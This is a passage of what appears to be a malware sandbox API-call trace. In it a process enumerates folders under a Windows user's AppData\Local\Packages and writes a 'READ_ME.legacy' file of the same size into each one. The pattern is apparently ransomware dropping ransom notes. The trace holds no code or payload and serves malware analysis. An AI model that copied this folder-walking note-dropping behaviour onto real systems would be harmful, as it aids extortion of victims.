ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.014] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.014] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.015] CloseHandle (hObject=0x828) returned 1 [0150.015] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ef76b0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ef76b0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ef76b0, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.015] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.016] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.016] CloseHandle (hObject=0x828) returned 1 [0150.017] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.017] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x828 [0150.017] WriteFile (in: hFile=0x828, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.018] CloseHandle (hObject=0x828) returned 1 [0150.018] FindNextFileW (in: hFindFile=0x563d78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79ed145d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x79ed145d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x79ed145d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.018] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2652f33, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563f78 [0150.018] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2652f33, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.018] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7c48483f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c48483f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c48483f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.018] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.133] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.134] CloseHandle (hObject=0x82c) returned 1 [0150.134] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.134] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.137] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.138] CloseHandle (hObject=0x82c) returned 1 [0150.138] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.138] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.141] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.141] CloseHandle (hObject=0x82c) returned 1 [0150.142] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.142] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.142] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.143] CloseHandle (hObject=0x82c) returned 1 [0150.143] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2652f33, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2652f33, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2652f33, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.143] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.143] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.145] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.146] CloseHandle (hObject=0x82c) returned 1 [0150.146] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.146] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.146] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.147] CloseHandle (hObject=0x82c) returned 1 [0150.147] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c438394, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c438394, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c438394, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.147] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.147] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.148] CloseHandle (hObject=0x82c) returned 1 [0150.148] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.148] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\EnvironmentsApp_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\environmentsapp_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0150.149] WriteFile (in: hFile=0x82c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.149] CloseHandle (hObject=0x82c) returned 1 [0150.149] FindNextFileW (in: hFindFile=0x563f78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c412157, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7c412157, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7c412157, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.149] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe27119dd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563db8 [0150.150] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe27119dd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.150] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7dbe9a15, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7dbe9a15, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7dbe9a15, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.150] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.158] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.158] CloseHandle (hObject=0x830) returned 1 [0150.158] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.159] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.159] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.160] CloseHandle (hObject=0x830) returned 1 [0150.160] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.160] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.161] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.161] CloseHandle (hObject=0x830) returned 1 [0150.161] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.162] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.162] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.163] CloseHandle (hObject=0x830) returned 1 [0150.163] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe27119dd, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe27119dd, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe27119dd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.163] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.163] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0150.164] WriteFile (in: hFile=0x830, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.165] CloseHandle (hObject=0x830) returned 1 [0150.165] FindNextFileW (in: hFindFile=0x563db8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7db9d550, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7db9d550, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7db9d550, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloCamera_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holocamera_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 